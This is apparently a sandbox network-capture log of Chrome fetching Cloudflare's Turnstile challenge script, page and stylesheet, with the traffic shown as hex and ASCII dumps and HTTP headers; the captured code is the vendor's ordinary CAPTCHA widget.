2024-08-23 14:21:13 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 53 74 28 65 2c 72 2c 61 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 5f 3d 65 5b 75 5d 28 67 29 2c 70 3d 5f 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 66 29 7b 61 28 66 29 3b 72 65 74 75 72 6e 7d 5f 2e 64 6f 6e 65 3f 72 28 70 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 70 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 4f 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function St(e,r,a,o,c,u,g){try{var _=e[u](g),p=_.value}catch(f){a(f);return}_.done?r(p):Promise.resolve(p).then(o,c)}function Ot(e){return function(){var r=this,a=arguments;return new Promise(function(o,c){var u=e.apply(r,a);funct
2024-08-23 14:21:13 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 5f 72 28 65 2c 72 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 24 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function _r(e,r){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function $e(e,r){return r=r!=nu
2024-08-23 14:21:13 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 4a 65 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 62 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 43 74 28 65 29 7c 7c 4e 74 28 65 2c 72 29 7c 7c 4c 74 28 65 2c 72 29 7c 7c 6b 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 4e 65 28 65 2c 72 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(a))return Je(e,r)}}function be(e,r){return Ct(e)\|\|Nt(e,r)\|\|Lt(e,r)\|\|kt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ne(e,r){var a={label:0,sent:function(){if(u[0
2024-08-23 14:21:13 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 46 74 3d 33 30 30 30 32 30 3b 76 61 72 20 6b 65 3d 33 30 30 30 33 30 3b 76 61 72 20 4c 65 3d 33 30 30 30 33 31 3b 76 61 72 20 42 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Ft=300020;var ke=300030;var Le=300031;var B;(fu
2024-08-23 14:21:13 UTC	1369	IN	Data Raw: 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 75 65 7c 7c 28 75 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 45 4e 44 45 52 3d 22 72 65 6e 64 65 72 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 7d 29 28 70 65 7c 7c 28 70 65 3d 7b 7d 29 29 3b 76 61 72 20 6c 65 3b 28 66 75 6e Data Ascii: e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ue\|\|(ue={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(function(e){e.RENDER="render",e.EXECUTE="execute"})(pe\|\|(pe={}));var le;(fun
2024-08-23 14:21:13 UTC	1369	IN	Data Raw: 76 61 72 20 59 3d 22 30 2f 30 22 3b 66 75 6e 63 74 69 6f 6e 20 66 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 Data Ascii: var Y="0/0";function ft(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="d
2024-08-23 14:21:13 UTC	1369	IN	Data Raw: 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 63 2c 75 3d 4c 28 78 72 2c 28 63 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 63 21 3d 3d 76 6f 69 64 20 30 3f 63 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 67 2c 5f 3d 4c 28 77 72 2c 28 67 3d 28 61 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 61 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 67 21 3d 3d 76 6f 69 64 20 30 3f 67 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 3b 72 65 74 75 72 6e 20 6f 26 26 75 3f 22 Data Ascii: HAVING_TROUBLES,c,u=L(xr,(c=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&c!==void 0?c:"nonexistent"),g,_=L(wr,(g=(a=e.displayLanguage)===null\|\|a===void 0?void 0:a.toLowerCase())!==null&&g!==void 0?g:"nonexistent");return o&&u?"
2024-08-23 14:21:13 UTC	1369	IN	Data Raw: 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 61 29 7d 2c 73 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 5a 74 28 65 29 7b 72 65 74 75 72 6e 20 46 75 6e 63 74 69 6f 6e 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 65 29 2e 69 6e 64 65 78 4f 66 28 22 5b 6e 61 74 69 76 65 20 63 6f 64 65 5d 22 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 29 7b 76 61 72 20 72 3d 74 79 70 65 6f 66 20 4d 61 70 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 6e 65 77 20 4d 61 70 3a 76 6f 69 64 20 30 3b 72 65 74 75 72 6e 20 50 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 5a 74 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 Data Ascii: __proto__\|\|Object.getPrototypeOf(a)},se(e)}function Zt(e){return Function.toString.call(e).indexOf("[native code]")!==-1}function Pe(e){var r=typeof Map=="function"?new Map:void 0;return Pe=function(o){if(o===null\|\|!Zt(o))return o;if(typeof o!="function")
2024-08-23 14:21:13 UTC	1369	IN	Data Raw: 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 72 2e 73 72 63 29 29 72 65 74 75 72 6e 20 72 3b 66 6f 72 28 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 73 63 72 69 70 74 22 29 2c 6f 3d 30 2c 63 3b 63 3d 61 5b 6f 5d 3b 6f 2b 2b 29 69 66 28 50 28 63 2c 48 54 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 63 2e 73 72 63 29 29 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 61 72 28 29 7b 76 61 72 20 65 3d 67 74 28 29 3b 65 7c 7c 76 28 22 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 Data Ascii: riptElement)&&e.test(r.src))return r;for(var a=document.querySelectorAll("script"),o=0,c;c=a[o];o++)if(P(c,HTMLScriptElement)&&e.test(c.src))return c}function ar(){var e=gt();e\|\|v("Could not find Turnstile script tag, some features may not be available",4
2024-08-23 14:21:13 UTC	1369	IN	Data Raw: 28 22 61 6c 6c 6f 77 22 2c 22 63 72 6f 73 73 2d 6f 72 69 67 69 6e 2d 69 73 6f 6c 61 74 65 64 3b 20 66 75 6c 6c 73 63 72 65 65 6e 22 29 2c 66 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 61 6e 64 62 6f 78 22 2c 22 61 6c 6c 6f 77 2d 73 61 6d 65 2d 6f 72 69 67 69 6e 20 61 6c 6c 6f 77 2d 73 63 72 69 70 74 73 20 61 6c 6c 6f 77 2d 70 6f 70 75 70 73 20 61 6c 6c 6f 77 2d 66 6f 72 6d 73 22 29 2c 66 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 63 72 6f 6c 6c 69 6e 67 22 2c 22 6e 6f 22 29 2c 66 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 57 69 64 74 68 3d 22 30 70 78 22 2c 66 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 25 22 2c 66 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 25 22 2c 66 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 3d 22 68 69 64 64 Data Ascii: ("allow","cross-origin-isolated; fullscreen"),f.setAttribute("sandbox","allow-same-origin allow-scripts allow-popups allow-forms"),f.setAttribute("scrolling","no"),f.style.borderWidth="0px",f.style.width="100%",f.style.height="100%",f.style.overflow="hidd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49706	104.18.94.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:13 UTC	797	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/pgbyu/0x4AAAAAAAhkfK1nz8jjG-wE/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://nursematte.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:13 UTC	1362	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 74535 Connection: close origin-agent-cluster: ?1 cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() cross-origin-resource-policy: cross-origin accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cross-origin-opener-policy: same-origin document-policy: js-profiling cross-origin-embedder-policy: require-corp referrer-policy: same-origin content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self'
2024-08-23 14:21:13 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 62 37 62 62 66 36 64 64 39 34 39 63 34 33 62 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8b7bbf6dd949c43b-EWRalt-svc: h3=":443"; ma=86400
2024-08-23 14:21:13 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-08-23 14:21:13 UTC	1369	IN	Data Raw: 28 31 2e 35 29 3b 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0a 20 20 7d 0a 20 20 31 30 30 25 20 7b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 32 29 3b 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0a 20 20 7d 0a 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 66 69 72 65 77 6f 72 6b 20 7b 0a 20 20 30 25 20 7b 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0a 20 20 20 20 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 20 38 3b 20 2f 2a 20 6c 65 6e 67 74 68 20 2a 2f 0a 20 20 7d 0a 20 20 33 30 25 20 7b 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0a 20 20 7d 0a 20 20 31 30 30 25 20 7b 0a 20 20 20 20 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 20 2d 38 3b 20 2f 2a 20 6c 65 6e 67 74 68 20 2a 2f 0a 20 20 7d 0a 7d 0a 40 Data Ascii: (1.5); opacity: 1; } 100% { transform: scale(2); opacity: 0; }}@keyframes firework { 0% { opacity: 0; stroke-dashoffset: 8; /* length / } 30% { opacity: 1; } 100% { stroke-dashoffset: -8; / length */ }}@
2024-08-23 14:21:13 UTC	1369	IN	Data Raw: 65 78 3b 0a 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 31 36 70 78 20 30 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 72 69 67 68 74 3b 0a 7d 0a 0a 23 73 70 69 6e 6e 65 72 2d 69 63 6f 6e 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 35 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 0a 7d 0a 0a 23 66 61 69 6c 2d 69 63 6f 6e 2c 20 23 6f 76 65 72 72 75 6e 2d 69 63 6f 6e 20 7b 0a 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 Data Ascii: ex; flex-direction: column; margin: 0 16px 0 0; text-align: right;}#spinner-icon { display: flex; width: 30px; height: 30px; animation: spin 5s linear infinite;}#fail-icon, #overrun-icon { width: 30px; height: 30px; display: flex
2024-08-23 14:21:13 UTC	1369	IN	Data Raw: 74 65 72 6c 69 6d 69 74 3a 20 31 30 3b 0a 20 20 73 74 72 6f 6b 65 3a 20 23 30 33 38 31 32 37 3b 0a 20 20 66 69 6c 6c 3a 20 23 30 33 38 31 32 37 3b 0a 7d 0a 0a 23 6f 76 65 72 72 75 6e 2d 74 65 78 74 2c 0a 23 74 69 6d 65 6f 75 74 2d 74 65 78 74 2c 0a 23 65 78 70 69 72 65 64 2d 74 65 78 74 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 69 6e 68 65 72 69 74 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 7d 0a 0a 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 0a 23 65 78 70 69 72 65 64 2d 74 65 78 74 2c 0a 23 74 69 6d 65 6f 75 74 2d 74 65 78 74 2c 0a 23 65 78 70 69 72 65 64 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 0a 23 6f Data Ascii: terlimit: 10; stroke: #038127; fill: #038127;}#overrun-text,#timeout-text,#expired-text { margin: 0; text-align: inherit; font-size: 14px; font-weight: 400;}#timeout-refresh-link,#expired-text,#timeout-text,#expired-refresh-link,#o
2024-08-23 14:21:13 UTC	1369	IN	Data Raw: 6b 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 76 69 73 69 74 65 64 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 6c 69 6e 6b 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 62 62 62 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 68 6f 76 65 72 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 61 63 74 69 76 65 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 66 6f 63 75 73 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 Data Ascii: k,.theme-dark #challenge-error-text a:visited,.theme-dark #challenge-error-text a:link { color: #bbb;}.theme-dark #challenge-overlay a:hover, .theme-dark #challenge-overlay a:active, .theme-dark #challenge-overlay a:focus,.theme-dark #challenge-err
2024-08-23 14:21:13 UTC	1369	IN	Data Raw: 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 65 72 6d 73 20 61 3a 66 6f 63 75 73 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 39 34 39 34 39 34 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 37 39 37 39 37 39 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 33 32 33 32 33 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 71 72 20 7b 0a 20 20 66 69 6c 6c 3a 20 72 67 62 28 32 34 33 2c 20 31 32 38 2c 20 33 32 29 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 20 7b 0a 20 20 66 69 6c 6c 3a 20 23 66 66 66 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 20 7b 0a 20 20 63 6f Data Ascii: .theme-dark #terms a:focus { color: #949494;}.theme-dark #content { border-color: #797979; background-color: #232323;}.theme-dark #qr { fill: rgb(243, 128, 32);}.theme-dark .logo-text { fill: #fff;}.theme-dark #fr-helper-loop-link { co
2024-08-23 14:21:13 UTC	1369	IN	Data Raw: 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 66 66 61 32 39 39 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 66 66 61 32 39 39 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 3a 6c 69 6e 6b 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 66 66 61 32 39 39 3b 0a 7d 0a 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 7b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 7a 2d Data Ascii: }.theme-dark .error-message { color: #ffa299;}.theme-dark .error-message a { color: #ffa299;}.theme-dark .error-message a:link, .theme-dark .error-message a:visited { color: #ffa299;}#challenge-overlay { position: absolute; top: 0; z-
2024-08-23 14:21:13 UTC	1369	IN	Data Raw: 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 77 69 64 74 68 3a 20 32 34 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 32 34 70 78 3b 0a 7d 0a 2e 63 62 2d 6c 62 20 69 6e 70 75 74 3a 61 63 74 69 76 65 20 7e 20 2e 63 62 2d 69 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 0a 7d 0a 2e 63 62 2d 6c 62 20 69 6e 70 75 74 3a 63 68 65 63 6b 65 64 20 7e 20 2e 63 62 2d 69 20 7b 0a 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 20 73 63 61 6c 65 28 31 29 3b 0a 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 70 78 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 